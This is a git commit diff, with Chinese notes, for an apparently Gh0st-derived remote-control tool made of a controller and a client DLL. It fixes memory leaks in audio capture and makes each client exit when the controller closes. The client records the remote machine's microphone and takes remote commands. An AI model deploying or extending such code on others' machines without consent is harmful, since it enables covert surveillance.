主控端退出时被控端也退出
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。 2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。 3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
This commit is contained in:
@@ -79,3 +79,11 @@
|
|||||||
2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。
|
2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。
|
||||||
|
|
||||||
3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
|
3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
|
||||||
|
|
||||||
|
2019.1.15
|
||||||
|
|
||||||
|
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。
|
||||||
|
|
||||||
|
2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。
|
||||||
|
|
||||||
|
3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ CAudio::CAudio()
|
|||||||
{
|
{
|
||||||
m_bExit = FALSE;
|
m_bExit = FALSE;
|
||||||
m_hThreadCallBack = false;
|
m_hThreadCallBack = false;
|
||||||
|
m_Thread = NULL;
|
||||||
m_bIsWaveInUsed = FALSE;
|
m_bIsWaveInUsed = FALSE;
|
||||||
m_bIsWaveOutUsed = FALSE;
|
m_bIsWaveOutUsed = FALSE;
|
||||||
m_nWaveInIndex = 0;
|
m_nWaveInIndex = 0;
|
||||||
@@ -47,26 +48,7 @@ CAudio::CAudio()
|
|||||||
CAudio::~CAudio()
|
CAudio::~CAudio()
|
||||||
{
|
{
|
||||||
m_bExit = TRUE;
|
m_bExit = TRUE;
|
||||||
if (m_bIsWaveInUsed)
|
|
||||||
{
|
|
||||||
waveInStop(m_hWaveIn);
|
|
||||||
waveInReset(m_hWaveIn);
|
|
||||||
for (int i = 0; i < 2; i++)
|
|
||||||
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
|
||||||
|
|
||||||
waveInClose(m_hWaveIn);
|
|
||||||
WAIT (m_hThreadCallBack, 30);
|
|
||||||
if (m_hThreadCallBack)
|
|
||||||
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
for (int i = 0; i < 2; i++)
|
|
||||||
{
|
|
||||||
delete [] m_InAudioData[i];
|
|
||||||
m_InAudioData[i] = NULL;
|
|
||||||
delete [] m_InAudioHeader[i];
|
|
||||||
m_InAudioHeader[i] = NULL;
|
|
||||||
}
|
|
||||||
if (m_hEventWaveIn)
|
if (m_hEventWaveIn)
|
||||||
{
|
{
|
||||||
SetEvent(m_hEventWaveIn);
|
SetEvent(m_hEventWaveIn);
|
||||||
@@ -80,6 +62,29 @@ CAudio::~CAudio()
|
|||||||
m_hStartRecord = NULL;
|
m_hStartRecord = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (m_bIsWaveInUsed)
|
||||||
|
{
|
||||||
|
waveInStop(m_hWaveIn);
|
||||||
|
waveInReset(m_hWaveIn);
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
|
||||||
|
waveInClose(m_hWaveIn);
|
||||||
|
WAIT (m_hThreadCallBack, 30);
|
||||||
|
if (m_hThreadCallBack)
|
||||||
|
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||||
|
TerminateThread(m_Thread, -999);
|
||||||
|
m_Thread = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
{
|
||||||
|
delete [] m_InAudioData[i];
|
||||||
|
m_InAudioData[i] = NULL;
|
||||||
|
delete [] m_InAudioHeader[i];
|
||||||
|
m_InAudioHeader[i] = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
if (m_bIsWaveOutUsed)
|
if (m_bIsWaveOutUsed)
|
||||||
{
|
{
|
||||||
waveOutReset(m_hWaveOut);
|
waveOutReset(m_hWaveOut);
|
||||||
@@ -102,8 +107,7 @@ BOOL CAudio::InitializeWaveIn()
|
|||||||
MMRESULT mmResult;
|
MMRESULT mmResult;
|
||||||
DWORD dwThreadID = 0;
|
DWORD dwThreadID = 0;
|
||||||
|
|
||||||
HANDLE h = NULL;
|
m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
|
||||||
m_hThreadCallBack = h = CreateThread(NULL, 0,
|
|
||||||
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
|
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
|
||||||
CREATE_SUSPENDED, &dwThreadID);
|
CREATE_SUSPENDED, &dwThreadID);
|
||||||
|
|
||||||
@@ -114,7 +118,6 @@ BOOL CAudio::InitializeWaveIn()
|
|||||||
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (mmResult != MMSYSERR_NOERROR)
|
if (mmResult != MMSYSERR_NOERROR)
|
||||||
{
|
{
|
||||||
CloseHandle(h);
|
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -130,8 +133,7 @@ BOOL CAudio::InitializeWaveIn()
|
|||||||
|
|
||||||
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||||
|
|
||||||
ResumeThread(h);
|
ResumeThread(m_Thread);
|
||||||
CloseHandle(h);
|
|
||||||
waveInStart(m_hWaveIn); //¼<><C2BC>
|
waveInStart(m_hWaveIn); //¼<><C2BC>
|
||||||
|
|
||||||
m_bIsWaveInUsed = TRUE;
|
m_bIsWaveInUsed = TRUE;
|
||||||
@@ -170,11 +172,12 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
SetEvent(This->m_hEventWaveIn);
|
SetEvent(This->m_hEventWaveIn);
|
||||||
WaitForSingleObject(This->m_hStartRecord, INFINITE);
|
WaitForSingleObject(This->m_hStartRecord, INFINITE);
|
||||||
|
if (This->m_bExit)
|
||||||
|
break;
|
||||||
|
|
||||||
Sleep(1);
|
Sleep(1);
|
||||||
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
|
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
|
||||||
|
|
||||||
|
|
||||||
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
|
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
|
||||||
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
||||||
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ public:
|
|||||||
HWAVEIN m_hWaveIn; //<2F>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
HWAVEIN m_hWaveIn; //<2F>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
||||||
DWORD m_nWaveInIndex;
|
DWORD m_nWaveInIndex;
|
||||||
bool m_hThreadCallBack;
|
bool m_hThreadCallBack;
|
||||||
|
HANDLE m_Thread;// waveInCallBack<63>߳<EFBFBD>
|
||||||
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
|
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||||
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
|
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
|
||||||
BOOL CAudio::InitializeWaveIn();
|
BOOL CAudio::InitializeWaveIn();
|
||||||
|
|||||||
@@ -17,6 +17,8 @@ using namespace std;
|
|||||||
|
|
||||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
|
printf("new CAudioManager %x\n", this);
|
||||||
|
|
||||||
m_bIsWorking = FALSE;
|
m_bIsWorking = FALSE;
|
||||||
m_AudioObject = NULL;
|
m_AudioObject = NULL;
|
||||||
|
|
||||||
@@ -100,6 +102,7 @@ CAudioManager::~CAudioManager()
|
|||||||
delete m_AudioObject;
|
delete m_AudioObject;
|
||||||
m_AudioObject = NULL;
|
m_AudioObject = NULL;
|
||||||
}
|
}
|
||||||
|
printf("~CAudioManager %x\n", this);
|
||||||
}
|
}
|
||||||
|
|
||||||
//USB
|
//USB
|
||||||
|
|||||||
@@ -136,6 +136,9 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Media Include="Res\msg.wav" />
|
<Media Include="Res\msg.wav" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="Res\ghost.ico" />
|
||||||
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
|
|||||||
@@ -174,4 +174,9 @@
|
|||||||
<Filter>资源文件</Filter>
|
<Filter>资源文件</Filter>
|
||||||
</Media>
|
</Media>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="Res\ghost.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -8,13 +8,15 @@
|
|||||||
#include "zconf.h"
|
#include "zconf.h"
|
||||||
#include "zlib.h"
|
#include "zlib.h"
|
||||||
#include <assert.h>
|
#include <assert.h>
|
||||||
|
#include "Manager.h"
|
||||||
|
|
||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
VOID IOCPClient::setManagerCallBack(class CManager* Manager)
|
VOID IOCPClient::setManagerCallBack(CManager* Manager)
|
||||||
{
|
{
|
||||||
m_Manager = Manager;
|
m_Manager = Manager;
|
||||||
}
|
}
|
||||||
@@ -22,6 +24,7 @@ VOID IOCPClient::setManagerCallBack(class CManager* Manager)
|
|||||||
|
|
||||||
IOCPClient::IOCPClient(bool exit_while_disconnect)
|
IOCPClient::IOCPClient(bool exit_while_disconnect)
|
||||||
{
|
{
|
||||||
|
m_Manager = NULL;
|
||||||
WSADATA wsaData;
|
WSADATA wsaData;
|
||||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
|
|
||||||
@@ -154,6 +157,14 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
}else{
|
}else{
|
||||||
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
||||||
This->OnServerReceiving(szBuffer, iReceivedLength);
|
This->OnServerReceiving(szBuffer, iReceivedLength);
|
||||||
|
if (This->m_Manager->m_bIsDead)
|
||||||
|
{
|
||||||
|
printf("****** Recv bye bye ******\n");
|
||||||
|
// <20>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||||
|
extern bool g_bExit;
|
||||||
|
g_bExit = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -51,14 +51,14 @@ public:
|
|||||||
|
|
||||||
char m_szPacketFlag[FLAG_LENGTH];
|
char m_szPacketFlag[FLAG_LENGTH];
|
||||||
|
|
||||||
VOID setManagerCallBack(class CManager* Manager);
|
VOID setManagerCallBack(CManager* Manager);
|
||||||
|
|
||||||
VOID Disconnect();
|
VOID Disconnect();
|
||||||
VOID RunEventLoop(const BOOL &bCondition);
|
VOID RunEventLoop(const BOOL &bCondition);
|
||||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||||
|
|
||||||
public:
|
public:
|
||||||
class CManager* m_Manager;
|
CManager* m_Manager;
|
||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
bool m_exit_while_disconnect;
|
bool m_exit_while_disconnect;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
|||||||
|
|
||||||
CKernelManager::~CKernelManager()
|
CKernelManager::~CKernelManager()
|
||||||
{
|
{
|
||||||
printf("~CKernelManager \n");
|
printf("~CKernelManager begin\n");
|
||||||
int i = 0;
|
int i = 0;
|
||||||
for (i=0;i<0x1000;i++)
|
for (i=0;i<0x1000;i++)
|
||||||
{
|
{
|
||||||
@@ -30,6 +30,7 @@ CKernelManager::~CKernelManager()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
m_ulThreadCount = 0;
|
m_ulThreadCount = 0;
|
||||||
|
printf("~CKernelManager end\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
@@ -75,6 +76,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
m_bIsDead = true; //say goodbye
|
||||||
OutputDebugStringA("======> Bye bye \n");
|
OutputDebugStringA("======> Bye bye \n");
|
||||||
m_hThread[m_ulThreadCount].p = NULL;
|
m_hThread[m_ulThreadCount].p = NULL;
|
||||||
delete pNew;
|
delete pNew;
|
||||||
|
|||||||
@@ -4,6 +4,7 @@
|
|||||||
|
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
@@ -11,6 +12,7 @@
|
|||||||
|
|
||||||
CManager::CManager(IOCPClient* ClientObject)
|
CManager::CManager(IOCPClient* ClientObject)
|
||||||
{
|
{
|
||||||
|
m_bIsDead = false;
|
||||||
m_ClientObject = ClientObject;
|
m_ClientObject = ClientObject;
|
||||||
m_ClientObject->setManagerCallBack(this);
|
m_ClientObject->setManagerCallBack(this);
|
||||||
|
|
||||||
|
|||||||
@@ -9,14 +9,12 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
#include "IOCPClient.h"
|
|
||||||
|
|
||||||
|
|
||||||
class IOCPClient;
|
class IOCPClient;
|
||||||
|
|
||||||
class CManager
|
class CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
|
bool m_bIsDead; // bye-bye
|
||||||
CManager(IOCPClient* ClientObject);
|
CManager(IOCPClient* ClientObject);
|
||||||
virtual ~CManager();
|
virtual ~CManager();
|
||||||
|
|
||||||
|
|||||||
BIN
client/Res/ghost.ico
Normal file
BIN
client/Res/ghost.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
@@ -25,11 +25,11 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
|||||||
//
|
//
|
||||||
|
|
||||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||||
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||||
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
|
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
|
||||||
FONT 10, "System", 0, 0, 0x0
|
FONT 10, "System", 0, 0, 0x0
|
||||||
BEGIN
|
BEGIN
|
||||||
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER
|
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL
|
||||||
END
|
END
|
||||||
|
|
||||||
|
|
||||||
@@ -120,6 +120,15 @@ BEGIN
|
|||||||
END
|
END
|
||||||
END
|
END
|
||||||
|
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
//
|
||||||
|
// Icon
|
||||||
|
//
|
||||||
|
|
||||||
|
// Icon with lowest ID value placed first to ensure application icon
|
||||||
|
// remains consistent on all systems.
|
||||||
|
IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
||||||
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD>壬<EFBFBD>й<EFBFBD>) resources
|
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD>壬<EFBFBD>й<EFBFBD>) resources
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ using namespace std;
|
|||||||
#define ID_TIMER_CLOSE_WINDOW 3
|
#define ID_TIMER_CLOSE_WINDOW 3
|
||||||
|
|
||||||
#define WIN_WIDTH 250
|
#define WIN_WIDTH 250
|
||||||
#define WIN_HEIGHT 250
|
#define WIN_HEIGHT 200
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -87,6 +87,9 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
|
|||||||
{
|
{
|
||||||
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
|
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
|
||||||
|
|
||||||
|
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MAIN));
|
||||||
|
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
|
||||||
|
|
||||||
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
|
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
|
||||||
|
|
||||||
memset(g_Buffer,0,sizeof(g_Buffer));
|
memset(g_Buffer,0,sizeof(g_Buffer));
|
||||||
|
|||||||
@@ -141,6 +141,9 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Media Include="Res\msg.wav" />
|
<Media Include="Res\msg.wav" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="Res\ghost.ico" />
|
||||||
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
|
|||||||
@@ -174,4 +174,9 @@
|
|||||||
<Filter>资源文件</Filter>
|
<Filter>资源文件</Filter>
|
||||||
</Media>
|
</Media>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="Res\ghost.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -6,6 +6,6 @@
|
|||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
<LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments>
|
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -1,16 +1,18 @@
|
|||||||
//{{NO_DEPENDENCIES}}
|
//{{NO_DEPENDENCIES}}
|
||||||
// Microsoft Developer Studio generated include file.
|
// Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
// Used by Script.rc
|
// <EFBFBD><EFBFBD> Script.rc ʹ<><CAB9>
|
||||||
//
|
//
|
||||||
#define IDD_DIALOG 101
|
#define IDD_DIALOG 101
|
||||||
#define IDR_WAVE 102
|
#define IDR_WAVE 102
|
||||||
|
#define IDI_ICON1 104
|
||||||
|
#define IDI_ICON_MAIN 104
|
||||||
#define IDC_EDIT_MESSAGE 1000
|
#define IDC_EDIT_MESSAGE 1000
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 103
|
#define _APS_NEXT_RESOURCE_VALUE 105
|
||||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||||
#define _APS_NEXT_SYMED_VALUE 101
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
|
|||||||
@@ -1,7 +1,10 @@
|
|||||||
|
|
||||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
# Visual Studio 2012
|
# Visual Studio 2012
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7}
|
||||||
|
EndProjectSection
|
||||||
EndProject
|
EndProject
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||||
EndProject
|
EndProject
|
||||||
|
|||||||
@@ -575,6 +575,15 @@ void CMy2015RemoteDlg::OnClose()
|
|||||||
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
BYTE bToken = COMMAND_BYE;
|
||||||
|
int n = m_CList_Online.GetItemCount();
|
||||||
|
for(int Pos = 0; Pos < n; ++Pos)
|
||||||
|
{
|
||||||
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
|
||||||
|
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
|
||||||
|
}
|
||||||
|
Sleep(200);
|
||||||
|
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
|
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
|
||||||
iter != v_FileDlg.end(); ++iter)
|
iter != v_FileDlg.end(); ++iter)
|
||||||
@@ -598,7 +607,7 @@ void CMy2015RemoteDlg::OnClose()
|
|||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1>ⲻ<EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1>ⲻ<EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD>
|
||||||
ShowWindow(SW_HIDE);
|
ShowWindow(SW_HIDE);
|
||||||
Sleep(500);
|
Sleep(300);
|
||||||
|
|
||||||
if (m_iocpServer!=NULL)
|
if (m_iocpServer!=NULL)
|
||||||
{
|
{
|
||||||
@@ -1061,6 +1070,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
|||||||
{
|
{
|
||||||
switch(p->v1)
|
switch(p->v1)
|
||||||
{
|
{
|
||||||
|
case TALK_DLG:
|
||||||
|
{
|
||||||
|
CTalkDlg *Dlg = (CTalkDlg*)p->hDlg;
|
||||||
|
delete Dlg;
|
||||||
|
break;
|
||||||
|
}
|
||||||
case VIDEO_DLG:
|
case VIDEO_DLG:
|
||||||
{
|
{
|
||||||
CVideoDlg *Dlg = (CVideoDlg*)p->hDlg;
|
CVideoDlg *Dlg = (CVideoDlg*)p->hDlg;
|
||||||
|
|||||||
@@ -98,7 +98,8 @@ IOCPServer::~IOCPServer(void)
|
|||||||
while (!m_ContextFreePoolList.IsEmpty())
|
while (!m_ContextFreePoolList.IsEmpty())
|
||||||
{
|
{
|
||||||
CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead();
|
CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead();
|
||||||
SAFE_DELETE(ContextObject->olps);
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD>2019.1.14
|
||||||
|
//SAFE_DELETE(ContextObject->olps);
|
||||||
delete ContextObject;
|
delete ContextObject;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -41,6 +41,8 @@ BOOL CTalkDlg::OnInitDialog()
|
|||||||
{
|
{
|
||||||
CDialog::OnInitDialog();
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
